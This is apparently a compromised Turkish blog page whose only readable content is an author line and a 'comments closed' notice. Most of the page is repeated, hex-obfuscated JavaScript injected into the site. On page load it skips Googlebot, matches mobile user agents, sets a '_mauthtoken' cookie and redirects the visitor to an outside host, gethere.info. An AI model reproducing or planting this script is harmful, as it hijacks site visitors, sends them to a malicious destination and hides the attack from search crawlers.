os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Hakkında Vecihe Özge Zeren

Yoruma kapalı.